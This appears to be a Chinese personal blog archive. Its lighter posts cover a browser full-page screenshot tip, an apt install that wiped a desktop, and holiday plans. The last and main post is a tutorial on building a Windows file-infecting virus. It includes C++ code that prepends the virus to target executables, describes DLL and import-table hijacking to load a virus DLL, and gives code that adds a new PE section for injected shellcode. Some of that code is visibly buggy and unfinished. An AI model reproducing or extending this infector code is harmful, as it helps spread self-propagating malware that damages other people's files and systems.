因为有时候,要截取一个网页会很麻烦,所以就像着有没有网页长截图功能,自带截图。
结果查了一下,发现还真有。话不多说,开始吧。
第一步。打开你想要截图的网页。按下F12

第二部,选择console,并在这之中按下ctrl+shift+p键

第三部,输入full。会自动补全。
之后就会弹出网页截图的png下载框啦。
2019-03-18 | 随便写的什么奇怪的东西 |
因为有时候,要截取一个网页会很麻烦,所以就像着有没有网页长截图功能,自带截图。
结果查了一下,发现还真有。话不多说,开始吧。
第一步。打开你想要截图的网页。按下F12

第二部,选择console,并在这之中按下ctrl+shift+p键

第三部,输入full。会自动补全。
之后就会弹出网页截图的png下载框啦。
2019-02-24 | 随便写的什么奇怪的东西 |
不知道为啥,反正就是无聊搬上去了。
去博客下载代码也实在是有点太麻烦hhhhhh。
不求fo也不求start。
只是写出来而已qwq。github
2019-01-31 | 随便写的什么奇怪的东西 |
虽然说这是我的问题,但是谁知道apt install也会有如此恐怖的效果hhhhh
虽然威胁程度比不上rm -rf,但是重新配置环境对我这种怠惰党简直就是严重的打击。
具体发生了什么事呢?就让我说一说
由于想要玩一款辣鸡游戏,我试图使用wine游玩这货,我一看,wine-stable,wine-development,两个,第一个装不了,我就装了第二个,之后使用wine运行该游戏,提示wine32-development 推荐使用apt install wine32-development安装运行。
我想了想,也对,我装的是64bit版 ,也许对32位程序并不兼容。于是我就执行了apt install wine32-development。
本以为这样就结束了。结果给我出来一个依赖Libwine32:i386依赖冲突。我就想了,会不会是源问题,于是上网添加了winehq的源,一顿操作之后,依旧是各种*:i386冲突。试着用wine-stable好嘛。冲突更多了
这时候我就很气,但是按照winehq官网上写的,如果发现丢失依赖,请先安装依赖,再解决反复上面两个步骤。我想,既然这样,那么我手动安装这些依赖不就行了?
精彩的时候来了,我原本以为依赖 冲突是因为源里面没有才无法安装的,这时候我手动apt install 这些依赖。竟然能安装了?!?!,年轻的我没有发现事态的严重性。安装完第一个,似乎没什么问题。我满心 欢喜的开始了下一个依赖的手动安装。心里还美滋滋的。于是乎,复制,黏贴,回车回车。刷~
满屏幕的卸载以及安装,我随手一瞥,google-chrome,事态有点不对fcitx??嗯??在我还没反应过来之前,已经结束了。这就是ssd的坏处。
回过神来,打开应用程序面板,空空如也。我滴妈啊。。我辛辛苦苦的个性化配置啊。哇的一声哭出来。此时的我已经心态爆炸。蓝廋的要命。虽然说ubuntu使用过程有点小摩擦,但是具体还是拜倒在她的私人个性化,并且个人感觉用的还是挺爽的。
结果给我整了这么一出。确实。木有rm -rf威力强,但是对于一个desktop用户来说。简直是严重精神打击。
重启之后,果不其然。连图形界面都进不去了,因为压根就都卸了。
无奈只好掏出自己的七年前的U盘,用DD if,已每秒3mb的龟速进去装了个win10。
这就是事件的全过程了hhhhhhhh。
看来下次安装软件,无论心里再怎么烦,也一定要看软件删除列表。嘤嘤嘤。
顺带说一句,windows真好用.jpg。就是windows下的包管理器是啥(逃
2019-01-20 | 随便写的什么奇怪的东西,技术文章 |
开发周期一天半。脑袋里想着这东西写完估计再也不会碰了。于是乎就完全没有在意代码风格和编写习惯,最终造成了如此鬼畜的emmmm程序。
虽然就代码而言有点恐怖,但是就结果而言,他还是十分耐操。至少在他寿终正寝(我们觉得实在烦了)之前,还是没有出什么bug的。
其实是去年就完成的东西了。现在只是正好记起来搬出来而已XD。
寒假过去了1/5了我却是在病魔中度过的,真是太浪费了呀。。
coolq是用了天台封装的。天台就是好啊,要是我肯定才懒得封装这些东西XD,直接暴力怼直接用hhhhhhh
代码在下面。
2019-01-15 | 随便写的什么奇怪的东西 |
一下子一个学期就过去了呀。既然高考过去了,那么可不能继续浪费时间了。
先拟定个寒假活动策划表吧。
因为主力工作站丢宿舍了,好重,懒得带回来。所以效率可能会变得略慢。但是同时也不会被游戏所吸引。(除了文明5和叛乱,其他的我玩的都是windows游戏)
回家了吼啊,回家了可以看书了。顺带改改博客。还有就是催Ero上线。
研究方向-> 机器学习/逆向(?)/汇编
2019-01-13 | 随便写的什么奇怪的东西 |
正在龟速填坑,预期会添加一份C版的导入表新建节表插入代码。
和添加数据到程序尾部并修改入口点的。。
至于机器学习?回家再说。
说起来真的得需要一个跳转的东西来让大家知道到底哪些东西更新了。
不知不觉甚至都2019了呀,意外地发现了这个坑。
先把这个拉上来,我一定要填坑!!!
看来似乎,真的得写一个Typecho客户端了。。。。
这个,肯定得找时间写完的啦。
//不知怎得突然就喜欢上了这些。于是就打算练手了。
//不得不说VS是真的好用,除了对我来说略卡(原因是因为我电脑配置实在低
首先,我们现需要做什么,先罗列出大致步骤
确实一个全盘感染程序逻辑基本就这么简单。
我们先抛开1,因为1非常好实现。我们就先来说说2的实现方式。
首先是最LOW但是也是最最最简单的方式。
直接把病毒程序添加到被感染程序的头部,这样别人点击我们的程序时就会优先启动我们的。
当然只填充是不行的,还要让程序正常的执行。
这样就得在我们的程序的时候读取自身。然后寻找第二个MZ标识。
然后把第二个MZ表示写出,或者是在内存中创建映射然后执行。
这样程序就会优先执行我们的感染体,然后再执行咯。
部分代码如下:
Inject.cpp
void InjectExec(char *FilePath){
char selfP[128];
int AllSize = 0;
GetModuleFileNameA(NULL, selfP, 128);
char *s1 = ReadF(selfP);//获取自身
int t1 = tmpSize;
char *buffer1 = (char*)malloc((int)tmpSize);//要把函数中的指针的值给取出来,否则会被分配掉
RtlMoveMemory(buffer1,s1,tmpSize);
int tmp =0;
if (buffer1[tmpSize - 1] == *"X"){
bool x = true;
do {
if (x == true && buffer1[tmpSize-tmp]==*"X"){
tmp += 1;
}
else{
x = false;
break;
}
} while (tmp < 5);//连续5次都是X,确认为标识符
if (x = true){ return; }//已经感染过了,跳过
}
s1 = ReadF(FilePath);//获取被感染文件
int t2= tmpSize;
char *buffer2 = (char*)malloc((int)tmpSize);//同上
RtlMoveMemory(buffer2, s1, tmpSize);
AllSize = t1 + t2 + 5 ;
char *s = (char*)malloc((int)AllSize);
int i, i2,i3;
for (i = 0; i <= t1; i++){s[i] = buffer1[i];}
for (i2 = 0; i2 <= t2; i2++){ s[i + i2] = buffer2[i2]; }
for (i3 = 0; i3 <= 5; i3++){ s[i + i2 + i3] = *"X"; }//添加标识符
WriteF(FilePath,s,AllSize);//写出
}方法优劣:
简单,快速,缺点就是容易恢复,而且修改面积大(在一个程序中添加了整整另外一个程序,非常容易看出来
进阶版本:
仅在尾部插入shellcode,并修改入口点。
【未完待续】
PE文件结构中有一个是包含导入表,用PEiD就可以看到,包含着这个程序所需要使用的DLL。
我们只需要在这个表中添加我们自带的病毒DLL,就算程序用不引用也行。
这个方案更多用于内存注入而不是全盘感染
因为模块在载入内存空间时会默认引用一个DLL的析构程序,我们只需要把病毒的部分在析构程序中调用即可
著名的lpk.dll病毒虽然不是利用IAT HOOK,但是也是利用IAT表中的引用顺序漏洞,优先引用了本地路径的lpk文件而不是windir目录的,导致同目录Lpk病毒文件得以加载
相关文档:
代码如下
//同样懒得写了,过几天再给出CPP的吧,不过我有发过python版本的IAT HOOK 方法优劣:
虽然对程序的修改少了,但是在每个目录下都会添加一个dll十分显眼,就算把dll丢到环境变量中,传播时只复制被感染文件不复制dll文件也达不到传播效果了。
#include <windows.h>
#include <stdio.h>
char PATH[]="d:\\2.exe";
char shellcode[]="";
int Filelength(FILE *fp);
int main(int argc, char const *argv[])
{
DWORD dwRead;
HANDLE hFile;
int FileSize;
char * FileBuffer;
hFile = CreateFile(PATH,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
FileSize=GetFileSize(hFile,NULL);
FileBuffer = (char*)malloc(FileSize+1);
if(!ReadFile(hFile,FileBuffer,FileSize,&dwRead,NULL))return 1;
FileBuffer[FileSize+1]='\0';//多写一位,当结束标识
PIMAGE_FILE_HEADER MFHeader;
//这里是指针偏移,也就是绕过开头的DOS区块。DOS块从长度是0x3c,0x4是指向IMAGE_FILE_HEADER
MFHeader = (PIMAGE_FILE_HEADER)(char *)(FileBuffer + *(int *)(FileBuffer + 0x3c) + 0x4);
//或者使用另一种写法
//fseek(hFile,0x3c,SEEK_SET)这种写法可能会更好些?
PIMAGE_OPTIONAL_HEADER MOptHeader;//定位可选PE头
MOptHeader = (PIMAGE_OPTIONAL_HEADER)((char *)MFHeader + 0x14);
//定位节表
PIMAGE_SECTION_HEADER MSecHeader;
MSecHeader = (PIMAGE_SECTION_HEADER)((char *)MOptHeader + MFHeader->SizeOfOptionalHeader);
char * ImageBuffer = (char *)malloc(MOptHeader->SizeOfImage+0x1000);
//内存中整个PE映像体的尺寸
//模拟PE程序被加载
//同理我们也可以使用MapViewOfFile
ZeroMemory(ImageBuffer, MOptHeader->SizeOfImage+0x1000);
if (ImageBuffer == NULL)return 1;
memcpy(ImageBuffer, FileBuffer, MOptHeader->SizeOfHeaders);
//拷贝原有节表的数据到我们的内存空间
for (int i = 0; i < MFHeader->NumberOfSections; i++)
{
memcpy(ImageBuffer + MSecHeader->VirtualAddress, FileBuffer + MSecHeader->PointerToRawData, MSecHeader->SizeOfRawData);
MSecHeader++;
}
//构建新表
PIMAGE_SECTION_HEADER nSec;
nSec = MSecHeader;
MSecHeader--;
//nSec->Name = ".xxx";
//不用这种方式是因为C++后面字符会有\0作为截断字符也一并会被写进去
nSec->Name[0] = '.';
nSec->Name[1] = 'd';
nSec->Name[2] = 'a';
nSec->Name[3] = 't';
nSec->Misc.VirtualSize = 0x1000;
nSec->VirtualAddress = MSecHeader->VirtualAddress + MSecHeader->SizeOfRawData;
nSec->SizeOfRawData = 0x1000;
nSec->PointerToRawData = MSecHeader->PointerToRawData + MSecHeader->SizeOfRawData;
nSec->Characteristics=(MSecHeader - (MFHeader->NumberOfSections-1))->Characteristics;
MFHeader->NumberOfSections+=1;
MOptHeader->SizeOfImage+0x1000;
//新节构建完成
return 0;
}
(前面两个只是正好说的,今天的主菜其实是这个XD
感染方式,就是在PE文件中添加新节,熟悉汇编的都知道,PE文件都分为代码段,数据段等等。
我们只需要修改PE文件,在里面加入一段新节。
1:将添加的代码写到目标PE文件中,可以把这个代码插入原代码所处的的section的空隙中,也可以通过添加一个新的section附在原文件的尾部
2:PE文件原来的入口地址必须被保存在添加的代码中,这样,这段代码执行完以后可以转移到原始文件处执行
3:PE文件头中的入口地址需要被修改,指向新添加代码中的入口地址
4:PE文件头中的一些值需要根据情况做相应的修改,以符合修改后的PE文件的情况。
其中,我们要拥有的技术有什么呢?
相关文章:
(因为这个是汇编版,所以我得先填坑成CPP版
你以为我鸽了?其实并没有。【未完待续】